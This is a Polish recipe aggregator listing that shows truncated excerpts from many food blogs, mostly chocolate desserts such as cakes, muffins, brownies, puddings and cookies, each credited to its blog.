porcje: • 1 łodyga rabarbaru • 1 szklanka truskawek • 1 mały jogurt naturalny • 1 łyżka miodu • szczypta cynamonu • 1 łyżka nasin chia lub siemienia lnianego Dekoracja • 1 szklanka truskawek • 1/4 tabliczki czekolady deserowej • 2 łyżki śmietanki Wykonanie: • Rabarbar obrać z włókien i pokroić na małe kawałki. Z truskawek odciąć szypułki i również pokroić. • Zmiksować razem jogurt(...)cynamonem, na koniec dodać nasiona chia lub siemienia lnianego. • Przelać do dwóch pucharków i odstawić na 30 minut. • Na wierzch położyć pokrojone truskawki. • Czekoladę rozpuścić ze śmietanką – ja wkładam na 15 sekund do kuchenki mikrofalowej i dokładnie mieszam. • Polać czekoladą truskawki

To co kocham
Torcik biszkoptowo-serowy z truskawkami 113

pudru • 200 g serka śmietankowego • 2 łyżki soku z cytryny Poncz • 1/2 szklanki wody • 3 łyżki rumu • sok z 1/2 cytryny Dekoracja • 500 g truskawek • kilka kostek czekolady gorzkiej • 100 g płatków migdałowych Wykonanie: Biszkopt • Białka ubić na sztywną pianę, dodać powoli cukier cały czas ubijając. • Wrzucić żółtka i delikatnie ubić. • Przesiać mąkę z proszkiem(...)przykryć drugim blatem. • Wierzch i boki posmarować pozostałą masą. Boki obsypać płatkami migdałowymi. • Na wierzchu dekoracyjnie ułożyć na obwodzie truskawki i posypać startą czekoladą. • Boki torcika obsypać płatkami migdałowymi, a wierzch startą czekoladą

To co kocham
Zdrowe ciastka Najeżone 113

chciało mi się wczoraj czegoś słodkiego, a tu w domu nic, tylko gorzka czekolada, którą notabene bardzo lubię. Ale tu chodziło o jakieś zdrowe ciacho, które przed urlopem nie spowoduje „ciąży spożywczej”. W lodówce znalazłam ugotowaną kaszę jaglaną i otwartą puszkę z mleczkiem kokosowym, a dalej już poszło: rodzynki(...)jaglanej • 1/2 mleka kokosowego – gęsta część • garść rodzynek • garść jagód goji • 3 łyżki wiórek kokosowych • 3 łyżki płatków migdałowych • 1 czubata łyżka mielonych nasion lnu • 1/4 tabliczki gorzkiej czekolady Wykonanie: • Kaszę ugotowaną zmiksować z gęstym mlekiem kokosowym. • Dodać rodzynki, jagody, wiórki, płatki migdałowe i siemię lniane. Dokładnie wymieszać. • Czekoladę drobno posiekać i wymieszać z resztą

To co kocham
Mus dyniowy z bananem 126

też na paterze z owocami podstarzały banan i kawałek cytryny. Zmiksowane razem z jogurtem dały bardzo fajne połączenie smakowe i kolorystyczne. A dodatek czekolady to przysłowiowa kropka nad i. Składniki na 2 porcje: • 1 szklanka musu z dyni • 1 banan • 1/2 cytryny • 1 mały jogurt naturalny • starta czekolada(...)posypania Wykonanie: • Zmiksować mus dyniowy z bananem i obraną ze skórki i pokrojoną cytryną. • Dodać jogurt. • Przed podaniem posypać startą czekoladą

To co kocham
Tort kakaowy z masą budyniowo-wiśniową i pysznym kremem czekoladowym. 155

budynie waniliowe Winiary 1 łyżka mąki 680 g wiśni z kompotem Składniki na krem czekoladowy: 660 ml śmietany kremówki 30 %  2 łyżki cukru 1 cukier waniliowy 200 g czekolady mlecznej Milka 1 galaretka wiśniowa Winiary tortownica o średnicy 26 cm 1 podłużna paczka herbatników Wykonanie: Jajka ubijamy z cukrem i cukrem waniliowym na gęsty kogel mogel.Następnie przesiewamy mąkę(...)zgęstnieje. Ciasto przekładamy z powrotem do tortownicy i wykładamy budyń, na wierzch układamy herbatniki. Odstawiamy do zastygnięcia. W małym garnku zagotowujemy wodę, stawiamy na nim szklaną miseczkę z połamaną czekoladą i mieszamy aż się rozpuści. Galaretkę wsypujemy do 250 ml szklanki i zalewamy przegotowaną wodą tak aby powstała cała szklanka, mieszamy i odstawiamy do przestygnięcia. Śmietanę ubijamy z cukrem

Sama słodycz i szczypta chili
Ciastka czekoladowe z kawałkami czekolady 178

CIASTKA CZEKOLADOWE z kawałeczkami gorzkiej czekolady są pyszne i bardzo... Artykuł Ciastka czekoladowe z kawałkami czekolady pochodzi z serwisu CookMagazine

COOKMAGAZINE
Świąteczne tosty cynamonowe 107

magiczny miesiąc , wystawy sklepowe aż kipią , lampeczki w oknach , uwielbiam to , więc pomyślałam że czas przygotować moje świąteczne tosty na dzisiejsze śniadanie , moja córka je uwielbia , z dodatkiem cynamonu , czekolady , mniammmm , zapraszam serdecznie do wypróbowania przepisu . Składniki ( dla 3 osób ) 6 kromek chleba tostowego  2 jajka  1 łyżeczka cynamonu  10  łyżek mleka bądź śmietany(...)łyżka cukru pudru  1 łyżka oleju kokosowego ( do smażenia )  czekolada nutella  Wykonanie  Do miski rozbijamy jajka , dodajemy mleko bądź śmietanę , cukier puder , cynamon , wszystko razem bardzo dobrze mieszamy , kiedy masę jajeczną mamy wymieszaną , zanurzamy nasze kromki chleba tostowego pojedynczo , na rozgrzaną patelnie z odrobiną oleju kokosowego smażymy na chrupko , po obu stronach , i tak postępujemy

Mój Smak
Bezy z gorzką czekoladą 130

Bezy to jeden z tych deserów, które możemy piec w rozmaitych smakach. Dzisiaj propozycja z gorzką czekoladą. Składniki: - 3 białka - 185 g cukru pudru - 1 łyżeczka mąki ziemniaczanej - 70 g gorzkiej czekolady Przygotowanie: Białka ubijamy na sztywną pianę stopniowo dodając cukier puder oraz mąkę ziemniaczaną. Na koniec dodajemy drobno posiekaną czekoladę i całość mieszamy łyżką. Bezy pieczemy około 1 godziny

Zainspirowana w kuchni
łatwy,smaczny ucieraniec śliwkowo-kokosowy z białą czekoladą... 148

rozsypać wiórki kokosowe, piekarnik elektryczny, grzanie góra/dół, temp. 200 C, ciasto piec około 40 minut do suchego patyczka, ciasto w blaszce zostawić do wystygnięcia POLEWA Z BIAŁEJ CZEKOLADY: biała czekolada 100 gram, śmietana gęsta 18% 3 łyżki, w kąpieli wodnej rozpuścić połamaną czekoladę, dodać śmietanę i wymieszać na gładką polewę, za długo nie ogrzewać bo polewa się rozwarstwi

W Mojej Kuchni Lubię
Ciasteczka z kaszy manny 151

Bardzo szybkie do zrobienia. A czas pieczenia to tylko 10, góra 15 minut. Środek można wypełnić dżemem, czekoladą, marmoladą orzechami czy budyniem. Składniki : 3/4 szklanki kaszy manny 1 szklanka mąki pszennej 1/3 szklanki cukru 1 opakowanie cukru waniliowego 70 gramów masła 2 jajka 1 płaska łyżeczka proszku do pieczenia Na nadzienie:  1 opakowanie budyniu,  czekolada, marmolada, dżem(...)masa będzie się kleiła do rak, to podczas formowania ciasteczek moczymy dłonie w wodzie Formujemy kuleczki, a w środku robimy dziurkę Układamy na papierze do pieczenia, w dziurkę wkładamy czekoladę, marmoladę lub tak, jak ja - budyń. Musicie jednak pamiętać, że nie zużyjecie całego budyniu. Możecie więc na przykład zwiększyć proporcje składników Pieczemy ok. 10-15 minut  Smacznego

Szczęśliwa kuchnia
Czekoladowy budyń jaglany, Bovska 151

Jadłonomii – pyszny i ekspresowy w przygotowaniu. Składniki: 1/3 szklanki kaszy jaglanej 2 i 1/3 szklanki ulubionego mleka 15-25 daktyli sól 1 tabliczka gorzkiej czekolady Do garnka wlej mleko, dodaj kaszę, daktyle i sól. Gotuj, aż kasza będzie miękka (ok. 15-20 minut), co chwilę mieszając. Zestaw z ognia i dodaj połamaną czekoladę. Mieszaj, aż czekolada całkowicie się rozpuści. Zblenduj/zmiksuj

Qlinarnie i Qlinarnie
Kruche ciasto z mango i malinami 264

kruchego kakaowego 500 g mango 200 g malin 3 łyżki cukru 2 łyżeczki ziemniaczanej mąki 50 ml likieru malibu 2 łyżki soku z cytryny 50 g białej czekolady 2 łyżki śmietanki 3 łyżki kokosowych wiórków Wsyp mango do małego garnka. Jeśli używasz świeże mango, pokrój w dużą kostkę. Dodaj cukier, likier i sok z cytryny. Gotuj aż mango będzie miękkie(...)równomiernie nadzienie. Wierzch posyp resztą ciasta. Wstaw ciasto do nagrzanego na 160ºC piekarnika na termoobiegu (bez termoobiegu 175ºC). Piecz ciasto przez 50 minut. Wyjmij z piekarnika i ostudź. Rozpuść czekoladę w kąpieli wodnej wraz ze śmietanką. Rozprowadź czekoladę na wierzchu ciasta i posyp wiórkami. Pokrój na kawałki. The post Kruche ciasto z mango i malinami appeared first on Blog kulinarny

codojedzenia
Czekoladowe brownie z cukinii (bez mąki, glutenu) 256

przytupem! A co pomaga, gdy za oknem jest szaro buro, z nieba leją się strugi deszczu i jedyne na co ma się ochotę to dobra książka oraz kanapa? Czekolada ! Np. takie brownie z cukinii. Tu mogę się założyć, że nikt komu podacie na spróbowanie kawałek tego ciacha nie zgadnie “sekretnego składnika”. Akurat mieliśmy przez weekend urodziny najmłodszego wampirka i trochę(...)przewinęło przez te parę dni. Nikt kto spróbował, nawet nie był blisko, aby stwierdzić z czego jest zrobione. W smaku jest pyszne, czekoladowe, miękkie oraz soczyste. A te kawałki czekolady zatopione w miękkim cieście no po prostu mega, sztos czy jak to się teraz mówi Samo przygotowanie jest szybkie (deser gotowy w 1h) oraz uwaga! b rownie z cukinii jest

PaleoLife
PROSTE MUFFINY Z CZEKOLADĄ 69

Smaczne, małe, idealne na przyjęcia, spotkania ze znajomymi ale i do popołudniowej kawki. Bardzo proste w wykonanie i naprawdę smaczne, miękkie, lekko wilgotne. Polecam :) Do muffinek użyłam papilotki i czekoladę od Cukieteria . Składniki: z tej porcji wyszło mi 10 muffinek * 2 szklanki mąki * 1 łyżeczka proszku do pieczenia * 4 łyżki cukru * 1 szklanka mleka * 1 jajko * 1/2 szklanki oleju * kostki(...)czekolady mlecznej Wykonanie: Wszystkie składniki umieścić w misce i dokładnie wymieszać mikserem. Formę do babeczek wyłożyć papilotkami. Do każdej wylewać ciasta do 3/4 wysokości papilotek. Na każdą muffinkę położyć kostkę czekolady. Wstawić do piekarnika nagrzanego do 180'C i piec około 20-25 minut. Wystudzić na kratce. Można posypać cukrem pudrem

Zrób to smacznie
Batony z płatków śniadaniowych 125

Mając pod ręką taki batonik możemy go zjeść w każdej chwili. Składniki: 1,5 szkl płatków miodo kółka Mlekołaki  80 g masła 2 łyżki miodu 50 g białej czekolady 0,5 szkl żurawiny suszonej 0,5 szkl orzechów nerkowca 0,5 szkl orzechów włoskich 0,5 szkl pestek dyni Przygotowanie: Orzechy nerkowca i włoskie drobno posiekać nożem. Czekoladę pokroić(...)mniejsze kawałki. Na suchej patelni razem podprażyć orzechy nerkowca, włoskie i pestki dyni. Przesypać na talerz i na tej samej patelni roztopić masło, miód i czekoladę. Dodać płatki, podprażone orzechy z pestkami i żurawinę. Podgrzewać chwilę na niewielkim ogniu i wszystko razem wymieszać. Zdjąć z ognia jeszcze chwilę mieszać. Wyłożyć formę folią spożywczą wyłożyć masę, równomiernie rozprowadzić i ugnieść

Ala piecze i gotuje
Tort śmietanowo czeloladowy 199

Składniki na obłożenie tortu: Krem do tortów o smaku czekoladowym Celiko 1 szt krem do tortów o smaku śmietankowym Celiko 2 szt mleko 750 ml Dekoracja: serduszka z czekolady i listki z czekolady Wykonanie biszkoptu: Jaja o  temp pokojowej wbijam do miski i wsypuje cukier waniliowy.Miksuje do momentu , aż zrobi się puch. Mąkę wsypuje do kubka sito(...)krem czekoladowy z 250 ml mleka na sztywno , wkładam do rękawa cukierniczego z kocówką" kwiatek" i wyciskam małe rozetki na górze i na dole.Dekoruje serduszkami  i listkami z czekolady.     Teraz ciekawostki o produktach które użyłam do wykonania tortu. Krem do tortów o smaku śmietankowym to wspaniały i szybki sposób na przygotowanie torty, idealny do ciasta biszkoptowego. Produkt

Różowa kuchnia
Ciasteczka alla pieguski. 179

Pyszne, kruchutkie ciasteczka z czekoladą, w sam raz do kawki lub herbaty.Przepis dodaję do akcji Błyskawiczny Piątek. Zapraszam do pochrupania :)  Składniki:   150 g miękkiego masła 100 g cukru 1 jajko 1 cukier waniliowy   1/2 łyżeczki sody  320 g mąki pszennej 1 gorzka czekolada np: Wedel  Wykonanie : W misce ucieramy masło z cukrem, cukrem waniliowym(...)jajkiem na krem, następnie przesiewamy mąkę z sodą, dodajemy posiekaną czekoladę  i zagniatamy ciasto. Stolnicę oprószamy mąką, rozwałkowujemy ciasto na około 1/2  cm i wykrawamy dowolnej wielkości koła, kwiatki co wolicie.Krążki ciasta układamy na blaszce  wyłożonej papierem do pieczenia w odstępach. Pieczemy w temperaturze 175/ 180 stopni na złoty kolor około 15 minut. Smacznego

Sama słodycz i szczypta chili
Proste babeczki czekoladowe z gruszką 153

chłodne i lekko depresyjne jesienno-zimowe dni nic tak nie poprawia nastroju jak mała dawka czekolady. Dlatego dziś przedstawiam przepis na proste babeczki czekoladowe z gruszką i nutką chilli. Proste i szybkie w wykonaniu, mocno czekoladowe, puszyste i pyszne. Składniki Gruszki w syropie: Gruszki – 2 szt. Woda – 1/2 szklanki Wino wytrawne – 1 szklanka Cytryna(...)Brązowy cukier – 1/3 szklanki Cynamon Ciasto czekoladowe: Czekolada – 200 g Masło – 150 g Jajka – 2 szt. Cukier puder – 150 g Mąka – 180 g Proszek do pieczenia Ekstrakt waniliowy Kakao Chilli Przygotowanie Gruszki w syropie: Gruszki obierz, pokrój na ćwiartki i wykrój gniazda z nasionami. W garnku zagotuj wodę z winem, sokiem z jednej cytryny

ale Pysznie
Tort urodzinowy bez mąki pszennej i bez laktozy 154

pieczenia pół szklanki oleju  4 łyżki agawy 3/4 szklanki mleka ryżowego Składniki na krem: pół szklanki kaszy jaglanej 10 łyżek wiórek kokosowych 2 łyżki agawy Składniki na czekoladę: 10 daktyli 1 szklanka mleka ryżowego 3 łyżki kakao Dżem truskawkowy Barwnik BIO Ciasto: Do miski wsypałam mąkę orkiszową, ryżową i gryczaną. Dodałam proszek do pieczenia, olej, mleko ryżowe oraz agawę(...)ugotowaniu przełożyłam do miski i wystudziłam. Do kaszy dodałam wiórki oraz agawę. Wszystkie składniki zmiksowałam za pomocą blendera. Krem wstawiłam do lodówki. (odłożyłam część kremu do udekorowania tortu) Czekolada: Daktyle zalałam mlekiem i gotowałam pod przykryciem przez 15 min. Następnie zmiksowałam za pomocą blendera, dodałam kakao i wymieszałam. Na pierwszą część ciasta wyłożyłam schłodzony krem oraz dżem truskawkowy. Następnie drugą

nietadieta
Torcik budyniowy z Prince Polo 139

ziemniaczanej 1/2 szklanki cukru 6 kropel ekstraktu śmietankowego 150 g miękkiego masła poncz: 6 łyżek soku z cytryny 3 łyżki wody opcjonalnie można dodać likier dodatkowo 50 g białej czekolady 300 ml śmietanki kremówki 36% (zimnej) 1 opakowanie śmietan-fix 60 g wafelka kakaowego typu Prince Polo wykonanie: Żółtka ubić z 100 g cukru pudru. Białka ubić(...)samo zrobić z ostatnim blatem biszkoptu, nasączyć i obłożyć tort na wierzchu i po bokach kremem budyniowym. Włożyć do lodówki na około godzinę. W tym czasie przygotować śmietankę. Czekoladę rozpuścić. Śmietanę ubić na sztywno, pod koniec dodając śmietan-fix. Dodać 2 łyżki śmietany do czekolady i wymieszać, dodać do reszty śmietany i całość wymieszać. Obłożyć wierzch i boki tortu. Wstawić

Ania i Marcin gotują
Ciasto z kremem grysikowym 279

pieczenia Krem grysikowy: 500 ml mleka 4 łyżki kaszy manny 3/4 szklanki cukru pudru 3 łyżeczki cukru waniliowego 200 g masła Polewa czekoladowa: 150 g mlecznej lub gorzkiej czekolady 2 łyżki oleju Wodę, masło, cukier i kakao przełożyć do garnka, zagotować i przestudzić. Mąkę przesiać z proszkiem do pieczenia i razem z żółtkami i ekstraktem waniliowym dodać do przygotowanej wcześniej(...)powstały grudki. Gotować na małym ogniu przez około 3 minuty. Wystudzić. Do wystudzonej masy stopniowo dodawać masło, cały czas ubijać. Masę przełożyć na pierwszy blat ciasta, przykryć drugim. Czekoladę połamać na małe kawałki, przełożyć do metalowej miski, dodać olej i rozpuścić w kąpieli wodnej. Roztopioną czekoladą oblać wierzch ciasta. Smacznego

Domowa cukiernia Ewy
Ciasto serce z kremem czekoladowym i masą cukrową 163

Może być miłym prezentem lub niespodzianką dla bliskiej osoby.  Biszkopt: 4 jajka 4 łyżki mąki pszennej 4 łyżki cukru 1,5 łyżki mąki ziemniaczanej Krem czekoladowy: 100 g czekolady deserowej 330 ml śmietany 30% 1 fix do śmietany 1 łyżka cukru pudru Masa cukrowa: 65 g margaryny PALMA ¼ szklanki wody 0,5 szklanki mąki pszennej 40 dag cukru pudru(...)suchy i czysty oznacza, że ciasto jest już gotowe. Gotowy biszkopt wyjmujemy z piekarnika. Studzimy i kroimy na dwa blaty. Krem czekoladowy: Do garnka wlewamy śmietankę. Podgrzewamy. Dodajemy pokruszoną czekoladę. Podgrzewamy do momentu rozpuszczenia się czekolady (nie gotujemy). Studzimy. Śmietankę najlepiej wystudzić i wstawić do lodówki na całą noc. Następnego dnia ubijamy na sztywno z cukrem pudrem i fixem

VioletoweKucharzenie
Sernik gotowany 313

wypieków - 2 łyżki cukru z wanilią - 6 jaj + 2 żółtka - 4 budynie śmietankowe bez cukru - 200 ml zimnego mleka (do rozpuszczenia proszku budyniowego) - esencja migdałowa Polewa czekoladowa: - 220g czekolady deserowej - 4 – 5 łyżek mleka Dodatkowo: - uprażone płatki migdałowe Dzień wcześniej zagniatamy ciasto półkruche. Suche składniki (mąkę, cukier puder, proszek do pieczenia) przesiewamy i dokładnie mieszamy. Dobrze schłodzone masło ścieramy(...)pieczone ciasto) i ciasto obciążamy (ja użyłam trzech 1,5 litrowych kartonów z mlekiem). Ciasto zostawiamy do ostudzenia, następnie wstawiamy do lodówki. Na drugi dzień wierzch ciasta polewamy rozpuszczoną czekoladą. Czekoladę rozpuszczamy z dodatkiem mleka, na parze. Gorącą polewamy sernik. Wierzch posypujemy uprażonymi na suchej patelni płatkami migdałowymi. RADY: - Podstawą tego ciasta jest naprawdę dobry twaróg (może być domowy ). Można

mojewypiekiinietylko
ZDECYDOWANIE NAJPYSZNIEJSZE CZEKOLADKI DOMOWEJ ROBOTY 159

Wśród wegan panuje szał na czekoladę firmy Wedel nadziewaną masłem orzechowym. Spragnieni wegańskich słodyczy powinni jednak przed spożyciem przeczytać skład. Pozostawia on bowiem wiele do życzenia. Już na drugim miejscu znajdujemy tłuszcz palmowy, zaraz za nim lecytynę sojową, później olej palmowy i słonecznikowy. Czekolada oczywiście jest słodzona rafinowanym cukrem i glukozą, których ilość jest z pewnością zatrważająca. Nie warto! Można(...)przecież w warunkach domowych zrobić alternatywę takiej czekolady, która będzie przepyszna, a o niebo zdrowsza. W tym przepisie brak cukru, jeśli jednak zależy Wam na bardzo słodkim smaku możecie użyć syropu z agawy, ksylitolu lub cukru kokosowego. Nadzieniem moich czekoladek jest masło arachidowe własnej produkcji. Przyprażyłam surowe orzechy, następnie zblendowałam z odrobiną soli na gładką, maślaną masę. Masło z fistaszków

Jeść, by żyć w zdrowiu
Czekoladowy piernik z powidłami wg Aleex 108

Polecam. Składniki: • 200 g masła • 190 g cukru pudru • 4 jajka • 190 g mąki • 20 g przyprawy do piernika • 1 łyżeczka proszku do pieczenia • 3 łyżki kakao • 40 g czekolady deserowej • cukier puder do posypania • 4 łyżki powideł śliwkowych • 3 łyżeczki nutelli Sposób przygotowania: 1. Masło ogrzać do temperatury pokojowej. Piekarnik rozgrzać do 180 stopni C. Tortownicę o średnicy(...)wyłożyć papierem do pieczenia. 2. Do miski przesiać mąkę z proszkiem do pieczenia,przyprawą do piernika i kakao, wymieszać. 3. Czekoladę posiekać na małe kawałeczki. 4. W miseczce połączyć powidła śliwkowe I nutellę. 5. Do miękkiego masła dodać cukier puder i utrzeć mikserem na puszystą i jasną masę (około 5 minut). 6. Cały czas ucierając, dodawać po jednym jajku (masa

W mojej kuchni
W-Z CIASTO DOMOWE 147

dżemu z czarnej porzeczki Składniki masy serowej: 1 paczka masła roślinnego (250 g) 3 łyżki kopiaste cukru pudru 2 opakowania serka homogenizowanego waniliowego po 150 g Składniki polewy: 1 czekolada mleczna 1 czekolada gorzka 3 łyżki mleka Sposób wykonania: Mąkę, sodę oczyszczoną, cukier, kakao wymieszać razem na sucho.  Dodać mleko, rozpuszczoną margarynę, jajka, cukry waniliowe, dżem z czarnej porzeczki(...)części. Do miski włożyć masło roślinne, cukier puder i serki homogenizowane, utrzeć masę serową.  Na pierwszej części ciasta rozsmarować przygotowaną masę serową. Przykryć drugą częścią ciasta. Czekolady połamać na kawałki i razem z mlekiem rozpuścić w kąpieli wodnej. Rozsmarować na wierzchu ciasta. Ciasto wstawić do lodówki, żeby polewa stężała

Przepisy kulinarne babci Antoniny
Kruche ciasteczka! 163

kruchych czy to kawy czy herbaty albo dla dzieciaków do kakao. Ja przygotowałam rolowane ciasteczka kokosowo-orzechowe, rogaliki z orzeszkami ziemnymi, i rogaliki z nadzieniem z czeko-śliwką oblane czekoladą i obsypane płatkami migdałowymi. Ciasteczka kruche można przechowywać kilka dnia w szczelnie zamkniętej puszcze lub słoju. Nadają się idealnie też na prezent ;-) Zapraszam po przepis ;-)) SKŁADNIKI: - 250 g masła(...)płaskie łyżeczki proszku do pieczenia - 4 pełne łyżki miodu - 4 łyżki cukru pudru dodatkowo: - 1/2 szklanki wiórków kokosowych - 1/2 szklanki posiekanych orzechów (ja użyłam ziemnych) - 1/2 tabliczki czekolady + 3 łyżki śmietany 36% (do oblania rogalików zrobimy polewę) - płatki migdałów - dżem, nutella, bądź jak u mnie czeko-śliwka domowej roboty do nadziewania rogalików - ponadto: 1 całe jajko  Z w/w składników

SMYKWKUCHNI
Ciasto kukułka 11586

szklanki mąki pszennej (użyłam tortowej) 1 łyżeczka proszku do pieczenia 2 kopiaste łyżki kakao bez cukru Do nasączenia: 250ml wody 3 łyżki kawy rozpuszczalnej 2 łyżki cukru 100g gorzkiej czekolady o zawartości kakao 60% 100g mlecznej czekolady 2/3 szklanki wódki Krem: 600g śmietanki kremówki 30% lub 36% (kupuję śmietankę w kartonikach, na których są podane gramy) 500g serka mascarpone(...)samo jak biszkopt ciemny, tylko proszę piec 25minut i nie przekrajać biszkoptu. Do nasączenia: 8. Wszystkie składniki, oprócz wódki, przełożyć do rondelka z grubym dnem i podgrzewać, mieszając, aż czekolada się roztopi (proszę nie gotować). Następnie zdjąć z ognia i odstawić do całkowitego ostygnięcia. Do ostygniętego ponczu dodać wódkę i wymieszać. Krem: 9. Żelatynę zalać 1/2 szklanki wody, wymieszać

Mała Cukierenka
Kakaowa nocna owsianka z nasionami chia i owocami czyli Niedzielne Sniadanie odc.96 127

temat.  W kolejce czeka już następna porcja smakołyków przetestowanych i zjedzonych przez moją rodzinę. Dzisiaj rano na śniadanie zjedliśmy przepyszną nocną owsiankę.  Z chia, kakao, czekoladą i owocami, u mnie mrożonymi leśnymi jagodami, malinami, jeżynami  i suszonymi płatkami truskawek.  Pomysł podpatrzyłam w "My new roots" Sarah Wilson, zmodyfikowałam wg własnych możliwości.  Kakaowa nocna owsianka(...)porcja dla 2 osób: 70 g płatków owsianych 300 ml mleka (lub zwykłego, u mnie bez laktozowego) 2 łyżki nasion chia 1 łyżka kakao 2 łyżki posiekanej grubo gorzkiej czekolady 1 łyżka syropu klonowego owoce - banan, świeże owoce sezonowe lub mrożone w okresie zimowym Do jednaj miseczki wkładamy płatki a do drugiej nasiona chia. Zalewamy je mlekiem, przykrywamy i chowamy

Dzieje kuchennej Wiewióry
Pyszne muffinki czekoladowe 158

dorosłym, dodatkowo do dekoracji ich można poprosić najmłodszych. Mają wtedy zabawy o niemiara. Ja osobiście poprosiłam wnuczkę i wnuka. Byli zachwyceni zabawą. Pyszne muffinki czekoladowe 1 tabliczka mlecznej czekolady 20 dag margaryny 40 dag mąki 3 łyżeczki proszku do pieczenia 1 szklanka cukru 1 łyżka cukru wanilinowego 2 jajka 200 ml mleka Margarynę roztopić i ostudzić. Czekoladę roztopić nad kąpielą(...)pieczenia. Następnie dodać cukier, cukier wanilinowy i wszystko wymieszać. Jajka zmiksować z mlekiem. Do utartych jajek dodać po łyżce wymieszanych sypkich składników i mieszać delikatnie. Dodać roztopioną margarynę i czekoladę. Wymieszać wszystko ostrożnie. Przygotowaną masę przekładać do papilotek na muffinki. Piec w piekarniku ok. 20-25 minut w 180 st. aż muffinki się upieką. Dekorować wg uznania. Ja wzięłam

Gotuję Testuję
EKLERKI Z KREMEM KOKOSOWYM 153

której każdy będzie oblizywał się ze smakiem. Takie eklerki są świetnym pomysłem zarówno do popołudniowej kawki, jak i np. na słodką przekąskę na imprezę. Można je dodatkowo polać czekoladą albo słodki krem kokosowy przełamać czymś orzeźwiającym. Koniecznie spróbujcie! SKŁADNIKI: ( ok. 8-10 szt ) CIASTO: * woda – 0,5 szkl * mąka pszenna – 0,5 szkl * masło – 50 g * jajko(...)KREM KOKOSOWY: * mascarpone – 300 g * śmietana 36% – 150 g * biała czekolada – 100 g * wiórki kokosowe – ok. 80 g * żelatyna – 1 łyżka * cukier puder – 3 łyżki SPOSÓB PRZYRZĄDZENIA: CIASTO: Wodę gotujemy z masłem, a następnie do wrzącej wsypujemy mąkę i bardzo energicznie mieszamy. Gotujemy do momentu aż ciasto zacznie odchodzić od ścianek, studzimy. Do wystudzonego

Ostra na Słodko
Deser słodka chwila wytchnienia (waniliowo-kokosowy z porzeczkową nutą) 178

budyń waniliowy na 175 ml wrzątku 3 czubate łyżeczki wiórek kokosowych (u mnie Skworcu) 1 czubata łyżka dżemu z czarnej porzeczki bita śmietana do ozdoby: rurka z białej czekolady, chrupiące kulki w czekoladzie mlecznej Przygotowanie: Herbatniki kruszymy (wybrałam bardzo delikatne ciasteczka, więc robię to w dłoniach) i przekładamy na dno pucharka. Do szklanki wsypujemy 3 czubate łyżeczki wiórków kokosowych(...)budyń nie może być zbyt ciepły, aby utrzymała się na nim nasza bita śmietana). Wierzch przestudzonego deseru zdobimy bitą śmietaną, wbijamy czekoladową rurkę i całość posypujemy chrupiącymi kuleczkami w czekoladzie. Podajemy. Deser słodka chwila wytchnienia (waniliowo- kokosowy z porzeczkową nutą) Smacznego

Słodkie okruszki
Super polewa czekoladowa 122

polecam, po długich próbach mogę powiedzieć że jest super. Na garnku z gotującą wodą położyć miskę. Jak już woda będzie się gotowała zmniejszyć gaz do minimum. Do miski pokruszyć czekoladę, dodać miód,wodę, cukier puder, kakao i śmietanę. Jak już czekolada zacznie się topić zacząć mieszać. Trzymać na parze i mieszając cały czas, aż wszystko się połączy w piękną błyszczącą

Kuchnia Pokoleń
Kakaowe ciastka mumie czyli Hallweenowe poWeekendowe Lakocie odc.136 146

Przepis znaleziony na stronie Codojedzenia . Kakaowe ciastka mumie 300 g pszennej mąki 200 g zimnego masła 100 g cukru szczypta soli 40 g kakao 1 żółtko 50 g białej czekolady posypka Wszystkie składniki oprócz czekolady wkładamy do misy robota kuchennego. Miksujemy by powstało delikatne ciasto.  Formujemy rulon, owijamy w folię i wstawiamy do lodówki na godzinę.  Po schłodzeniu(...)st.C) .  Pieczemy je ok 10 minut. Ciastka po wyjęciu z piekarnika są wciąż miękkie ale po ostygnięciu stają się kruche.  Ostygnięte ciastka dekorujemy rozpuszczoną w kąpieli wodnej czekoladą i dekorujemy posypką

Dzieje kuchennej Wiewióry
Jesienne ciastka - grzybki 340

cukru pudru 200 g kwaśnej śmietany 1 jajko 1 łyżka maku Na krem: 1 budyń waniliowy 2 szklanki mleka 200 g masła 2 łyżki cukru Na polewę: 1 tabliczka czekolady deserowej 3 łyżki mleka 1 łyżka masła Będą potrzebne metalowe foremki do babeczek. Mąkę wymieszać na stolnicy z cukrem pudrem, dodać pokrojone zimne masło i posiekać wszystko nożem jak najdokładniej(...)Cały czas ucierając dodawać po łyżce zimnego budyniu. Po każdej łyżce budyniu miksować krem przez minutę, zanim dodamy kolejną porcję. Polewa: Masło z mlekiem zagotować w rondelku. Dodać pokruszoną czekoladę, zdjąć z ognia i mieszać aż czekolada całkiem się rozpuści i uzyskamy jednolitą polewę. Składanie grzybków: Grzybowe kapelusze nadziewać kremem i przykryć kółkami z dziurką. Ułożyć na desce, tacy wyłożonej

Kulinarne Inspiracje
Bezglutenowy budyń o smaku czekoladowym 77

czekoladowy ręka do góry. Myślę, że wielu z nas właśnie ten deser kojarzy się z beztroskim dzieciństwem. Dzisiaj proponuję Wam przepis na domowy budyń, który aż kipi od ilości czekolady. Nie robi się na nim kożuch i najlepiej smakuje gdy jest zimny. Świetny na karnawałowe imprezy! Do przygotowania 4 porcji budyniu potrzebujemy: – 500 ml mleka roślinnego – 2 łyżki(...)cukru – 1 łyżkę mąki (u mnie jaglana) – 2 duże łyżki kakao – 1 tabliczka czekolady gorzkiej Z 500 ml mleka odlewamy pół szklanki i resztę mleka podgrzewamy w garnku na średnim ogniu. Pozostałe mleko mieszamy z mąką i dodajemy do garnka. Od tego momentu cały czas mieszamy miksturę, tak aby nie miała grudek. Do ciepłego mleka dodajemy cukier

Szybko Tanio Smacznie
Czekoladowy tort urodzinowy 122

Tort przygotowałam na urodziny swojej przyjaciółki. Ma niesamowite nadzienie, albo raczej kilka jego rodzajów. Całość jest idealnie wyważona – słodycz masła orzechowego, kremu z orzechów laskowych i czekolady jest przełamana kwaśnymi powidłami domowej roboty. Całość polana polewą nugatową. Na wierzchu ułożyłam motylki z masy marcepanowej. Do przygotowania ciasta potrzebujemy: – kostkę masła – niepełne 2 szklanki cukru (ja daję(...)ciasto na cztery równe warstwy. Jeden blat (górę dolnego) posmarować masłem orzechowym (dodałam dodatkowo kilka batoników karmelowo-orzechowych) i drugi blat ciasta posmarować grubo kremem z orzechów laskowych i czekolady. Skleić ze sobą (patrz zdjęcia). Górę drugiego blatu posmarować grubo powidłami. Z pozostałymi dwoma blatami ciasta postąpić jak w przypadku dwóch pierwszych i położyć na warstwie powideł. Wierzch polać czekoladą

Szybko Tanio Smacznie
Ciastka Szczęki na Halloween 187

